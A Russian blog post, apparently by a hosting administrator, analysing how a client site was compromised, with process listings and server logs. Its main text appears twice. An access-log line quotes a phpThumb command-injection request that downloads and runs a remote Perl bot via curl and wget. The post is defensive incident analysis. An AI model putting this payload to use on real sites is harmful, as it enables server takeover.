An original idea. That can't be too hard. The library must be full of them. (c)Stephen Fry
Относительно недавно на хабре появилась такая статья, посвященная взломам сайтов: habrahabr.ru/company/host-tracker/blog/223877/
И я прочитал эту статью... И прочитал комментарии... Сказать, что я был одновременно взбешен и разочарован в хабражителях - это не сказать ничего. Вместо анализа проблемы, причем не возникшей черти когда - а наблюдаемой прямо в данный момент! - пользователь применил какой-то чудовищный костыль, завязанный на внешнем ресурсе (почему бы не написать аналогичный скрипт на питоне или баше и запускать кроном?), а всю ответственность за взлом сайта голословно свалил на хостера. При этом я каждый день сталкиваюсь со взломанными сайтами и случаи взлома по вине хостера можно пересчитать по пальцам руки слепого фрезеровщика - связаны обычно они с новенькими уязвимостями (из запомнившегося - у нас громко "бабахнула" несколько лет назад уязвимость обработчика PHP в режиме CGI - когда можно было выполнять произвольный код, raz0r.name/vulnerabilities/php-cgi-remote-code-...).
Но, поскольку на хабре я не зарегистрирован, то все это так и осталось в виде эмоций в голове
За месяц эмоции поутихли, а сейчас попался более-менее интересный случай, не связанный с корявыми старыми джумлами и сотней тысяч вредоносов, которые загружались на "любимый, но никем не администрируемый сайтик" в течение нескольких лет.
Итак, пользователь получает уведомление от антивирусной системы:
~/.cagefs/tmp/af.txt: Trojan.IRCBot-1142
Сам по себе ~/.cagefs/tmp - это реализация /tmp в окружении пользователя в рамках CloudLinux.
> Пришло автоматическое сообщение о трояне на сервере. Файл удалили. Сайт проверили - все нормально. Вопрос - не заражен ли хостинг?
В принципе такие вопросы у поломанных пользователей не редки, хотя в большинстве случаев это скорее претензия-утверждение, а не вопрос. Единственное, что связывает такой вежливый стиль и откровенно хамские выкрики "из зала" - во всех случаях нет представления о том, что такое "уязвимость серверного ПО", о том, к чему оно приводит и о том, как рвут волосы на [censored] администраторы при обнаружении такого глобального факапа Ну а когда такое предстваление имеется - то и вопросов такого рода не возникает.
Что мы имеем? Грустную картину - файл пользователь уже грохнул, сказать что-либо о его содержимом или о времени его загрузки на сервер уже нельзя, в файлах сайта ничего интересного, при беглом взгляде в логах сайта за месяц ничего интересного... Мрак, однимо словом. О, вы только посмотрите, какая прелесть висит у юзера:
USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
username 624605 95.0 0.0 36460 4404 ? R Jul10 8813:12 /usr/sbin/httpd
Ура, живем! Так, а что ты, собсственно, собака, делаешь?
-sh-4.1$ lsof -p 624605
COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME
perl 624605 username cwd DIR 8,6 4096 37716728 /tmp
perl 624605 username rtd DIR 8,2 12288 1114390 /
perl 624605 username txt REG 8,2 6912 1125070 /usr/bin/perl
perl 624605 username mem REG 8,1 27424 2859054 /lib64/libnss_dns-2.12.so
perl 624605 username mem REG 8,1 65928 2859058 /lib64/libnss_files-2.12.so
perl 624605 username mem REG 8,2 19336 1385051 /usr/lib64/perl5/auto/IO/IO.so
perl 624605 username mem REG 8,2 127412 1384483 /usr/lib64/perl5/auto/Socket/Socket.so
perl 624605 username mem REG 8,1 424472 2859174 /lib64/libfreebl3.so
perl 624605 username mem REG 8,1 1921216 2859027 /lib64/libc-2.12.so
perl 624605 username mem REG 8,1 142640 2859076 /lib64/libpthread-2.12.so
perl 624605 username mem REG 8,1 14584 2859104 /lib64/libutil-2.12.so
perl 624605 username mem REG 8,1 40400 2859041 /lib64/libcrypt-2.12.so
perl 624605 username mem REG 8,1 596264 2859047 /lib64/libm-2.12.so
perl 624605 username mem REG 8,1 19536 2859043 /lib64/libdl-2.12.so
perl 624605 username mem REG 8,1 113432 2859050 /lib64/libnsl-2.12.so
perl 624605 username mem REG 8,1 110960 2859078 /lib64/libresolv-2.12.so
perl 624605 username mem REG 8,2 1485896 1384505 /usr/lib64/perl5/CORE/libperl.so
perl 624605 username mem REG 8,1 154520 2859214 /lib64/ld-2.12.so
perl 624605 username 0r FIFO 0,8 0t0 754682712 pipe
perl 624605 username 1w FIFO 0,8 0t0 754682933 pipe
perl 624605 username 2w FIFO 0,8 0t0 754682714 pipe
perl 624605 username 3u unix 0xffff88011ad29280 0t0 754682764 socket
perl 624605 username 4u IPv4 754683819 0t0 TCP server:58368->107.170.202.233:http (ESTABLISHED)
Да, это то, что мы ищем. Perl-скрипт, запущен из под юзера из /tmp, атакуемый ресурс имеет какое-то отноешние к IRC. Теперь осталось обратиться к логам процессов и узнать, когда он был запущен (да-да, у нас все ходы записаны!):
2014-07-10 03:10:01 username 624605 77.7 0.0 36460 4392 ? R 03:09 0:41 /usr/sbin/httpd
Теперь, когда известно время запуска, можно посмотреть, как именно он был запущен. С помощью все тех же журналов сервера - с их помощью мы определим и то, что на сервере в это время пользователь не присутствовал, и то, что в это время к сайту пользователя пришел такой интересный запрос:
109.163.234.8 - - [10/Jul/2014:03:09:04 +0400] "GET /assets/components/gallery/connector.php?action=web/phpthumb&w=800&h=800&zc=0&far=&q=90&src=%2Fassets%2Fgallery%2F204%2F3636.jpg&fltr[]=blur|9%20-quality%2075%20-interlace%20line%20fail.jpg%20jpeg:fail.jpg%20;cd%20/tmp;curl%20-o%20af.txt%20thathi.com.br/af.txt;wget%20thathi.com.br/af.txt;perl%20af.txt;%20&phpThumbDebug=9 HTTP/1.1" 404 8305 "-" "Mozilla/5.0 (Windows NT 6.1; rv:24.0) Gecko/20100101 Firefox/24.0"
Вот так очередная леденящая душу история о "серверной уязвимости" на проверку оказалось банальным недосмотром разработчика или администратора сайта.
И я прочитал эту статью... И прочитал комментарии... Сказать, что я был одновременно взбешен и разочарован в хабражителях - это не сказать ничего. Вместо анализа проблемы, причем не возникшей черти когда - а наблюдаемой прямо в данный момент! - пользователь применил какой-то чудовищный костыль, завязанный на внешнем ресурсе (почему бы не написать аналогичный скрипт на питоне или баше и запускать кроном?), а всю ответственность за взлом сайта голословно свалил на хостера. При этом я каждый день сталкиваюсь со взломанными сайтами и случаи взлома по вине хостера можно пересчитать по пальцам руки слепого фрезеровщика - связаны обычно они с новенькими уязвимостями (из запомнившегося - у нас громко "бабахнула" несколько лет назад уязвимость обработчика PHP в режиме CGI - когда можно было выполнять произвольный код, raz0r.name/vulnerabilities/php-cgi-remote-code-...).
Но, поскольку на хабре я не зарегистрирован, то все это так и осталось в виде эмоций в голове
За месяц эмоции поутихли, а сейчас попался более-менее интересный случай, не связанный с корявыми старыми джумлами и сотней тысяч вредоносов, которые загружались на "любимый, но никем не администрируемый сайтик" в течение нескольких лет.Итак, пользователь получает уведомление от антивирусной системы:
~/.cagefs/tmp/af.txt: Trojan.IRCBot-1142
Сам по себе ~/.cagefs/tmp - это реализация /tmp в окружении пользователя в рамках CloudLinux.
> Пришло автоматическое сообщение о трояне на сервере. Файл удалили. Сайт проверили - все нормально. Вопрос - не заражен ли хостинг?
В принципе такие вопросы у поломанных пользователей не редки, хотя в большинстве случаев это скорее претензия-утверждение, а не вопрос. Единственное, что связывает такой вежливый стиль и откровенно хамские выкрики "из зала" - во всех случаях нет представления о том, что такое "уязвимость серверного ПО", о том, к чему оно приводит и о том, как рвут волосы на [censored] администраторы при обнаружении такого глобального факапа
Ну а когда такое предстваление имеется - то и вопросов такого рода не возникает.Что мы имеем? Грустную картину - файл пользователь уже грохнул, сказать что-либо о его содержимом или о времени его загрузки на сервер уже нельзя, в файлах сайта ничего интересного, при беглом взгляде в логах сайта за месяц ничего интересного... Мрак, однимо словом. О, вы только посмотрите, какая прелесть висит у юзера:
USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
username 624605 95.0 0.0 36460 4404 ? R Jul10 8813:12 /usr/sbin/httpd
Ура, живем! Так, а что ты, собсственно, собака, делаешь?
-sh-4.1$ lsof -p 624605
COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME
perl 624605 username cwd DIR 8,6 4096 37716728 /tmp
perl 624605 username rtd DIR 8,2 12288 1114390 /
perl 624605 username txt REG 8,2 6912 1125070 /usr/bin/perl
perl 624605 username mem REG 8,1 27424 2859054 /lib64/libnss_dns-2.12.so
perl 624605 username mem REG 8,1 65928 2859058 /lib64/libnss_files-2.12.so
perl 624605 username mem REG 8,2 19336 1385051 /usr/lib64/perl5/auto/IO/IO.so
perl 624605 username mem REG 8,2 127412 1384483 /usr/lib64/perl5/auto/Socket/Socket.so
perl 624605 username mem REG 8,1 424472 2859174 /lib64/libfreebl3.so
perl 624605 username mem REG 8,1 1921216 2859027 /lib64/libc-2.12.so
perl 624605 username mem REG 8,1 142640 2859076 /lib64/libpthread-2.12.so
perl 624605 username mem REG 8,1 14584 2859104 /lib64/libutil-2.12.so
perl 624605 username mem REG 8,1 40400 2859041 /lib64/libcrypt-2.12.so
perl 624605 username mem REG 8,1 596264 2859047 /lib64/libm-2.12.so
perl 624605 username mem REG 8,1 19536 2859043 /lib64/libdl-2.12.so
perl 624605 username mem REG 8,1 113432 2859050 /lib64/libnsl-2.12.so
perl 624605 username mem REG 8,1 110960 2859078 /lib64/libresolv-2.12.so
perl 624605 username mem REG 8,2 1485896 1384505 /usr/lib64/perl5/CORE/libperl.so
perl 624605 username mem REG 8,1 154520 2859214 /lib64/ld-2.12.so
perl 624605 username 0r FIFO 0,8 0t0 754682712 pipe
perl 624605 username 1w FIFO 0,8 0t0 754682933 pipe
perl 624605 username 2w FIFO 0,8 0t0 754682714 pipe
perl 624605 username 3u unix 0xffff88011ad29280 0t0 754682764 socket
perl 624605 username 4u IPv4 754683819 0t0 TCP server:58368->107.170.202.233:http (ESTABLISHED)
Да, это то, что мы ищем. Perl-скрипт, запущен из под юзера из /tmp, атакуемый ресурс имеет какое-то отноешние к IRC. Теперь осталось обратиться к логам процессов и узнать, когда он был запущен (да-да, у нас все ходы записаны!):
2014-07-10 03:10:01 username 624605 77.7 0.0 36460 4392 ? R 03:09 0:41 /usr/sbin/httpd
Теперь, когда известно время запуска, можно посмотреть, как именно он был запущен. С помощью все тех же журналов сервера - с их помощью мы определим и то, что на сервере в это время пользователь не присутствовал, и то, что в это время к сайту пользователя пришел такой интересный запрос:
109.163.234.8 - - [10/Jul/2014:03:09:04 +0400] "GET /assets/components/gallery/connector.php?action=web/phpthumb&w=800&h=800&zc=0&far=&q=90&src=%2Fassets%2Fgallery%2F204%2F3636.jpg&fltr[]=blur|9%20-quality%2075%20-interlace%20line%20fail.jpg%20jpeg:fail.jpg%20;cd%20/tmp;curl%20-o%20af.txt%20thathi.com.br/af.txt;wget%20thathi.com.br/af.txt;perl%20af.txt;%20&phpThumbDebug=9 HTTP/1.1" 404 8305 "-" "Mozilla/5.0 (Windows NT 6.1; rv:24.0) Gecko/20100101 Firefox/24.0"
Вот так очередная леденящая душу история о "серверной уязвимости" на проверку оказалось банальным недосмотром разработчика или администратора сайта.
-
-
16.07.2014 в 15:44Так в оригинальном посте -- почему 5% аккаунтов имели одну и ту же проблему? У них у всех были уязвимые движки сайтов? А вашим пользователям доступны логи такой же подробности (по их собственным сайтам), как вам?
-
-
16.07.2014 в 16:12Касаемо "5%" - это вообще похоже на цифру, высосанную из пальца, но даже в этом случае очень оптимистичную. У нас было одно время, когда, судя по симптомам, кто-то слил большую базу взломанных сайтов и в результате точечными ударами по ранее загруженным на сайтах вебшеллам (в некоторых случаях чуть ли не за 2008 год) размещали дорвеи типа blog.php, news.php, download.php - они настолько задолбали и были настолько распространены, что для отлова пользователей использовалась такая команда:
cd /home/; sudo ps aux | grep blog.php | awk {'print $1}' | xargs chmod 0000 - тобишь ловили обращения к скрипту и банили счастливчиков в режиме realtime ))
Потом нам это надоело, мы выцепили и поблокировали всех глобально.
Что касается джумл - я редко вижу их неполоманными, чтобы их не ломали - это ж следить надо, обновляться. А большинство до сих пор сидит на 1.5 и искренне удивляется, когда их ломают.